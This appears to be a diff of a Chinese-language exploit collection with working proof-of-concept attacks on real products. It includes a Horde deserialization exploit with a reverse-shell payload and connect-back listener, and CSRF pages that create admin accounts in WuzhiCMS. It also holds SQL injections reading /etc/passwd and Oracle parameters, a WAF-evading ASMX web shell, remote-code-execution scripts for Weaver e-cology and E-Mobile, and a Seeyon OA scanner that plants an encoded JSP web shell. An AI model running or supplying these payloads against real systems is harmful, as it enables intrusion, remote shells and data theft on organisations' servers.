return $o;
|
||||
}
|
||||
$nofuncs='no exec functions';
|
||||
$s=@fsockopen("tcp://$ipaddr",$port);
|
||||
while($c=fread($s,2048)){
|
||||
$out = '';
|
||||
if(substr($c,0,3) == 'cd '){
|
||||
chdir(substr($c,3,-1));
|
||||
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
|
||||
break;
|
||||
}else{
|
||||
$out=PtdSlhY(substr($c,0,-1));
|
||||
if($out===false){
|
||||
fwrite($s, $nofuncs);
|
||||
break;
|
||||
}
|
||||
}
|
||||
fwrite($s,$out);
|
||||
}
|
||||
fclose($s);""" % (cbh, cbp)
|
||||
|
||||
def get_session(t, p, usr, pwd):
|
||||
uri = "http://%s%slogin.php" % (t, p)
|
||||
p = {
|
||||
"login_post" : 1337,
|
||||
"horde_user" : usr,
|
||||
"horde_pass" : pwd
|
||||
}
|
||||
r = requests.post(uri, data=p, allow_redirects=False)
|
||||
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
|
||||
assert len(match) == 2, "(-) failed to login"
|
||||
return match[1]
|
||||
|
||||
def trigger_deserialization(t, p, s, host, port):
|
||||
""" Object instantiation to reach the deserialization """
|
||||
handlerthr = Thread(target=handler, args=(port,))
|
||||
handlerthr.start()
|
||||
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
|
||||
p = {
|
||||
"imple" : "IMP_Prefs_Sort",
|
||||
"app" : "imp",
|
||||
}
|
||||
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
|
||||
c = { "Horde" : s }
|
||||
r = requests.get(uri, params=p, cookies=c, headers=h)
|
||||
match = re.search("horde_logout_token=(.*)&", r.text)
|
||||
assert match, "(-) failed to leak the horde_logout_token!"
|
||||
p['token'] = match.group(1)
|
||||
r = requests.get(uri, params=p, cookies=c, headers=h)
|
||||
assert r.status_code == 200, "(-) failed to trigger deserialization!"
|
||||
|
||||
def get_pop():
|
||||
""" An updated pop chain """
|
||||
pop = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
|
||||
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
|
||||
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
|
||||
pop += 'S:8:"\\00*\\00_opts";a:1:{'
|
||||
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
|
||||
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
|
||||
pop += '}i:1;s:13:"readXMLConfig";}}'
|
||||
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
|
||||
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}' # implements Serializable using custom unserialize/serialize
|
||||
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
|
||||
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}' # additional checks
|
||||
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
|
||||
return pop
|
||||
|
||||
def get_patch():
|
||||
""" Our original array """
|
||||
patch = 'a:1:{'
|
||||
patch += 's:5:"INBOX";a:1:{'
|
||||
patch += 's:1:"b";i:6;'
|
||||
patch += '}}'
|
||||
return patch
|
||||
|
||||
def set_pref(t, p, s, k, o):
|
||||
""" A primitive that inserts a string into the database """
|
||||
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
|
||||
p = {
|
||||
"pref" : k,
|
||||
"value" : o,
|
||||
}
|
||||
c = { "Horde" : s }
|
||||
r = requests.get(uri, params=p, cookies=c)
|
||||
match = re.search("horde_logout_token=(.*)&", r.text)
|
||||
assert match, "(-) failed to leak the horde_logout_token!"
|
||||
p['token'] = match.group(1)
|
||||
r = requests.get(uri, params=p, cookies=c)
|
||||
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
|
||||
|
||||
def handler(lport):
|
||||
print("(+) starting handler on port %d" % lport)
|
||||
t = telnetlib.Telnet()
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind(("0.0.0.0", lport))
|
||||
s.listen(1)
|
||||
conn, addr = s.accept()
|
||||
print("(+) connection from %s" % addr[0])
|
||||
t.sock = conn
|
||||
print("(+) pop thy shell!")
|
||||
t.interact()
|
||||
|
||||
def fix_path(p):
|
||||
if p == "/":
|
||||
return p
|
||||
if not p.startswith("/"):
|
||||
p = "/%s" % p
|
||||
if not p.endswith("/"):
|
||||
p = "%s/" % p
|
||||
return p
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 5:
|
||||
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
|
||||
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
|
||||
sys.exit(0)
|
||||
target = sys.argv[1]
|
||||
path = fix_path(sys.argv[2])
|
||||
user = sys.argv[3].split(":")[0]
|
||||
pswd = sys.argv[3].split(":")[1]
|
||||
host = sys.argv[4].split(":")[0]
|
||||
port = int(sys.argv[4].split(":")[1])
|
||||
print("(+) targeting http://%s%s" % (target, path))
|
||||
session = get_session(target, path, user, pswd)
|
||||
print("(+) obtained session %s" % session)
|
||||
set_pref(target, path, session, 'sortpref', get_pop())
|
||||
print("(+) inserted our php object")
|
||||
print("(+) triggering deserialization...")
|
||||
trigger_deserialization(target, path, session, host, port)
|
||||
set_pref(target, path, session, 'sortpref', get_patch())
|
||||
print("(+) repaired the target!")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
# 0x03 references
|
||||
|
||||
|
||||
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-20-1051/
|
||||
|
||||
https://srcincite.io/pocs/zdi-20-1051.py.txt
|
||||
@@ -0,0 +1,90 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|五指CMS 4.1.0存在CSRF漏洞可增加管理员账户|2018-04-10|套哥(taoge@5ecurity.cn)|[https://github.com/wuzhicms/wuzhicms](https://github.com/wuzhicms/wuzhicms) | [https://github.com/wuzhicms/wuzhicms](https://github.com/wuzhicms/wuzhicms) |4.1.0| [CVE-2018-9926](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9926)/[CVE-2018-9927](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9927)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 五指CMS 4.1.0版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可将普通用户提成为管理员权限。五指CMS是一个在github上开源的CMS系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/wuzhicms/wuzhicms/issues/128)告知作者。
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> CSRF测试页面代码一如下:
|
||||
|
||||
``` html
|
||||
<html><body>
|
||||
<script type="text/javascript">
|
||||
function post(url,fields)
|
||||
{
|
||||
var p = document.createElement("form");
|
||||
p.action = url;
|
||||
p.innerHTML = fields;
|
||||
p.target = "_self";
|
||||
p.method = "post";
|
||||
document.body.appendChild(p);
|
||||
p.submit();
|
||||
}
|
||||
function csrf_hack()
|
||||
{
|
||||
var fields;
|
||||
|
||||
fields += "<input type='hidden' name='form[role][]' value='1' />";
|
||||
fields += "<input type='hidden' name='form[username]' value='hack123' />";
|
||||
fields += "<input type='hidden' name='form[password]' value='' />";
|
||||
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";
|
||||
|
||||
var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=提交";
|
||||
post(url,fields);
|
||||
}
|
||||
window.onload = function() { csrf_hack();}
|
||||
</script>
|
||||
</body></html>
|
||||
```
|
||||
|
||||
> CSRF测试页面代码二如下:
|
||||
|
||||
``` html
|
||||
<html><body>
|
||||
<script type="text/javascript">
|
||||
function post(url,fields)
|
||||
{
|
||||
var p = document.createElement("form");
|
||||
p.action = url;
|
||||
p.innerHTML = fields;
|
||||
p.target = "_self";
|
||||
p.method = "post";
|
||||
document.body.appendChild(p);
|
||||
p.submit();
|
||||
}
|
||||
function csrf_hack()
|
||||
{
|
||||
var fields;
|
||||
|
||||
fields += "<input type='hidden' name='info[username]' value='hack123' />";
|
||||
fields += "<input type='hidden' name='info[password]' value='hacktest' />";
|
||||
fields += "<input type='hidden' name='info[pwdconfirm]' value='hacktest' />";
|
||||
fields += "<input type='hidden' name='info[email]' value='[email protected]' />";
|
||||
fields += "<input type='hidden' name='info[mobile]' value='' />";
|
||||
fields += "<input type='hidden' name='modelids[]' value='10' />";
|
||||
fields += "<input type='hidden' name='info[groupid]' value='3' />";
|
||||
fields += "<input type='hidden' name='pids[]' value='0' />";
|
||||
fields += "<input type='hidden' name='pids[]' value='0' />";
|
||||
fields += "<input type='hidden' name='pids[]' value='0' />";
|
||||
fields += "<input type='hidden' name='pids[]' value='0' />";
|
||||
fields += "<input type='hidden' name='avatar' value='' />";
|
||||
fields += "<input type='hidden' name='islock' value='0' />";
|
||||
fields += "<input type='hidden' name='sys_name' value='0' />";
|
||||
fields += "<input type='hidden' name='info[birthday]' value='' />";
|
||||
fields += "<input type='hidden' name='info[truename]' value='' />";
|
||||
fields += "<input type='hidden' name='info[sex]' value='0' />";
|
||||
fields += "<input type='hidden' name='info[marriage]' value='0' />";
|
||||
|
||||
var url = "http://127.0.0.1/www/index.php?m=member&f=index&v=add&_su=wuzhicms&_menuid=30&_submenuid=74&submit=提交";
|
||||
post(url,fields);
|
||||
}
|
||||
window.onload = function() { csrf_hack();}
|
||||
</script>
|
||||
</body></html>
|
||||
```
|
||||
@@ -0,0 +1,16 @@
|
||||
在sql注入点中,如果一个注入点支持load_file函数来读取文件的话,无疑对我们进行渗透来说是一个好消息
|
||||
|
||||
分享一下一条语句检测是否支持load_file读取文件
|
||||
|
||||
|
||||
Windows 注入点判断文件是否存在
|
||||
|
||||
```
|
||||
1 and 1=if(ascii(mid(load_file('c://windows/win.ini'),1,1))>0,1,2)
|
||||
```
|
||||
|
||||
Linux
|
||||
|
||||
```
|
||||
1 and 1=if(ascii(mid(load_file('/etc/passwd'),1,1))>0,1,2)
|
||||
```
|
||||
@@ -0,0 +1,117 @@
|
||||
### 以下信息来自倾旋知识星球,在此做整理
|
||||
|
||||
> 近日,在遇到一个WAF,目标服务器配置如下:
|
||||
|
||||
> 1.ASP.NET
|
||||
> 2.IIS
|
||||
> 3.Windows
|
||||
> 4.X WAF
|
||||
> 5.不允许上传 ASP、ASPX、ASA、CER、....
|
||||
> 6.任意文件上传漏洞
|
||||
> 于是想到还有ASMX,构建SOAP接口,分享给大家以便留存
|
||||
> 另外,WAF还拦截“Process()”,于是在C#代码里,创建了一个子类继承Process父类,然后实例化:
|
||||
|
||||

|
||||
|
||||
```
|
||||
public class New_Process :Process
|
||||
{
|
||||
public New_Process(string s)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Process e = new New_Process("something");
|
||||
```
|
||||
|
||||
```
|
||||
POST /UploadPath/User/201908221824334713.asmx HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
Content-Length: 363
|
||||
SOAPAction: "http://payloads.online/Test"
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<Test xmlns="http://payloads.online/">
|
||||
<Z1>cmd.exe</Z1>
|
||||
<Z2>/c whoami</Z2>
|
||||
</Test>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
```
|
||||
---------------------------------------------------
|
||||
|
||||

|
||||
```
|
||||
<%@ WebService Language="C#" Class="Service" %>
|
||||
using System;
|
||||
using System.Web;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Data;
|
||||
using System.Data.SqlClient;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Web.SessionState;
|
||||
using System.Web.Services;
|
||||
using System.Xml;
|
||||
using System.Web.Services.Protocols;
|
||||
|
||||
[WebService(Namespace = "http://payloads.online/")]
|
||||
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
|
||||
|
||||
public class New_Process :Process
|
||||
{
|
||||
public New_Process(string s)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public class Service : System.Web.Services.WebService
|
||||
{
|
||||
public Service()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
[WebMethod]
|
||||
public string Test(string Z1,string Z2)
|
||||
{
|
||||
String R;
|
||||
|
||||
ProcessStartInfo c = new ProcessStartInfo(Z1,Z2);
|
||||
Process e = new New_Process("something");
|
||||
StreamReader OT, ER;
|
||||
c.UseShellExecute = false;
|
||||
c.RedirectStandardOutput = true;
|
||||
c.RedirectStandardError = true;
|
||||
e.StartInfo = c;
|
||||
|
||||
e.Start();
|
||||
OT = e.StandardOutput;
|
||||
ER = e.StandardError;
|
||||
e.Close();
|
||||
R = OT.ReadToEnd() + ER.ReadToEnd();
|
||||
HttpContext.Current.Response.Clear();
|
||||
HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
|
||||
HttpContext.Current.Response.Write("<data>");
|
||||
HttpContext.Current.Response.Write("<![CDATA[");
|
||||
HttpContext.Current.Response.Write("\x2D\x3E\x7C");
|
||||
HttpContext.Current.Response.Write(R);
|
||||
HttpContext.Current.Response.Write("\x7C\x3C\x2D");
|
||||
HttpContext.Current.Response.Write("]]>");
|
||||
HttpContext.Current.Response.Write("</data>");
|
||||
HttpContext.Current.Response.End();
|
||||
return R;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
### 泛微 e-cology OA 前台SQL注入漏洞
|
||||
|
||||
### 简介
|
||||
|
||||
泛微提供了移动办公、微信办公、协同办公(OA)、流程管理、信息门户、知识管理、费控管理等功能,适用于手机和pc端,是当今比较主流的OA系统之一。
|
||||
|
||||
### **原理概述**
|
||||
|
||||
该漏洞是由于OA系统的WorkflowCenterTreeData接口在收到用户输入的时候未进行安全过滤, oracle数据库传入恶意SQL语句,导致SQL漏洞
|
||||
|
||||
### **影响范围**
|
||||
|
||||
使用oracle数据库的泛微 e-cology OA 系统
|
||||
|
||||
### **漏洞利用**
|
||||
|
||||
找到oracle数据库的泛微OA系统后直接使用Poc(已公开)
|
||||
|
||||
如果不存在漏洞,则显示结果如下:
|
||||
|
||||

|
||||
|
||||
如果漏洞存在,则会直接回显很多数据:
|
||||
|
||||

|
||||
|
||||
### Poc如下:(勿用于非法途径)
|
||||
|
||||
```
|
||||
POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
|
||||
Host: ip:port
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 2236
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1
|
||||
```
|
||||
|
||||
修改NULL后为要查询的字段名,修改from后为查询的表
|
||||
|
||||
以下为效果
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
## 前言
|
||||
|
||||
泛微e-cology OA远程代码执行|泛微OA管理系统RCE漏洞利用脚本
|
||||
|
||||
## 漏洞简介
|
||||
|
||||
泛微OA管理系统RCE漏洞:攻击者可通过精心构造的请求包攻击易受损的泛微OA用户,实现任意代码执行,进而获取系统Shell。企业用户可以使用腾讯御知检测企业网络资产是否存在该漏洞。
|
||||
|
||||
## 漏洞危害
|
||||
|
||||
攻击者可通过精心构造的请求包攻击易受损的泛微OA用户,实现任意代码执行,进而获取系统Shell
|
||||
|
||||
## 影响范围
|
||||
|
||||
### 产品
|
||||
|
||||
> 泛微e-cology
|
||||
|
||||
### 版本
|
||||
|
||||
> 包括不限于7.0,8.0,8.1版
|
||||
|
||||
### 组件
|
||||
|
||||
> 泛微e-cology
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
```python
|
||||
import requests
|
||||
import sys
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9',
|
||||
'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}
|
||||
|
||||
|
||||
def exploit(url,cmd):
|
||||
target=url+'/weaver/bsh.servlet.BshServlet'
|
||||
payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd)
|
||||
res=requests.post(url=target,data=payload,headers=headers,timeout=10)
|
||||
res.encoding=res.apparent_encoding
|
||||
print(res.text)
|
||||
|
||||
if __name__ == '__main__':
|
||||
url=sys.argv[1]
|
||||
while(1):
|
||||
cmd=input('cmd:')
|
||||
exploit(url,cmd)
|
||||
```
|
||||
USAGE:python e-cology-rce.py http://target.com/ 根据提示输入需要执行的命令即可检测
|
||||
@@ -0,0 +1,63 @@
|
||||
## 泛微e-mobile ognl注入
|
||||
|
||||
泛微 E-Mobile 表达式注入?大概?这个洞是一个月以前,老师丢给我玩的,叫我学习一下。
|
||||
拿到的时候一脸懵逼,什么是表达式注入?去漏洞库看了一圈。
|
||||
(・。・) 噢!原来可以执行算术运算就是表达式注入呀!
|
||||
要怎么玩?当计算器用么?~ヾ(*´∇`)ノ
|
||||
|
||||
一、泛微OA E-Mobile WebServer:**Apache** 通用部分:**apache**
|
||||
官方有两个OA。一个是**apache**的 一个是**Resin**的。
|
||||
**Resin**的也找到姿势通杀了,但是**Resin**涉及的站太大了。。。暂时不放出来,因为好像和S2撞洞了?因为045打了WAF的 ,我这个可以执行命令。23333 我也不知道~
|
||||
|
||||
```
|
||||
1、登录页面如下
|
||||
|
||||
http://6.6.6.6/login.do?
|
||||
or
|
||||
http://6.6.6.6/login/login.do?
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
2、当账号密码报错的时候,出现如下URL
|
||||
login.do?message=104&verify=
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
3、直接改写message=的内容,试试算术运算。
|
||||
http://6.6.6.6/login.do?message=66*66*66-66666
|
||||
```
|
||||
|
||||

|
||||
|
||||
o(>ω<)o 这么神奇么~
|
||||
|
||||
```
|
||||
4、表达式注入。
|
||||
有的表达式注入是${code}。这里隐藏了${},所以直接调用就行了。
|
||||
[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
5、也可以通过`post`提交数据来进行注入,命令执行
|
||||
`post`如下数据也可以:
|
||||
message=(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
|
||||
```
|
||||
|
||||

|
||||
|
||||
参考:
|
||||
|
||||
http://sh0w.top/index.php/archives/14/
|
||||
|
||||
http://sh0w.top/index.php/archives/39/
|
||||
|
||||
https://mp.weixin.qq.com/s/EbzjQvHTl7k9flG-7lqAvA
|
||||
|
||||
其他表达式相关文章:[表达式注入.pdf](./books/表达式注入.pdf)|[原文地址](https://misakikata.github.io/2018/09/表达式注入/)
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|seeyon_rce致远 OA A8 getshell_0day|2019-06-26|360-CERT|[http://www.skyworth.com/](http://www.seeyon.com/) | [http://www.seeyon.com/](http://www.seeyon.com/) | A8 V7.0 SP3/V6.1 SP2|[B6-2019-062601](https://cert.360.cn/warning/detail?id=d877451a4dbebd852d01e9730d762076)|
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
```python
|
||||
# Wednesday, 26 June 2019
|
||||
# Author:nianhua
|
||||
# Blog:https://github.com/nian-hua/
|
||||
# python3 版本
|
||||
|
||||
import re
|
||||
import requests
|
||||
import base64
|
||||
from multiprocessing import Pool, Manager
|
||||
|
||||
def send_payload(url):
|
||||
|
||||
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
|
||||
|
||||
payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="
|
||||
|
||||
payload = base64.b64decode(payload)
|
||||
|
||||
try:
|
||||
|
||||
r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)
|
||||
|
||||
r = requests.get(
|
||||
url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')
|
||||
|
||||
if "wangming" in r.text:
|
||||
|
||||
return url
|
||||
|
||||
else:
|
||||
|
||||
return 0
|
||||
|
||||
except:
|
||||
|
||||
return 0
|
||||
|
||||
def remove_control_chars(s):
|
||||
control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))
|
||||
|
||||
control_char_re = re.compile('[%s]' % re.escape(control_chars))
|
||||
|
||||
s = control_char_re.sub('', s)
|
||||
|
||||
if 'http' not in s:
|
||||
|
||||
s = 'http://' + s
|
||||
|
||||
return s
|
||||
|
||||
def savePeopleInformation(url, queue):
|
||||
|
||||
newurl = send_payload(url)
|
||||
|
||||
if newurl != 0:
|
||||
|
||||
fw = open('loophole.txt', 'a')
|
||||
fw.write(newurl + '\n')
|
||||
fw.close()
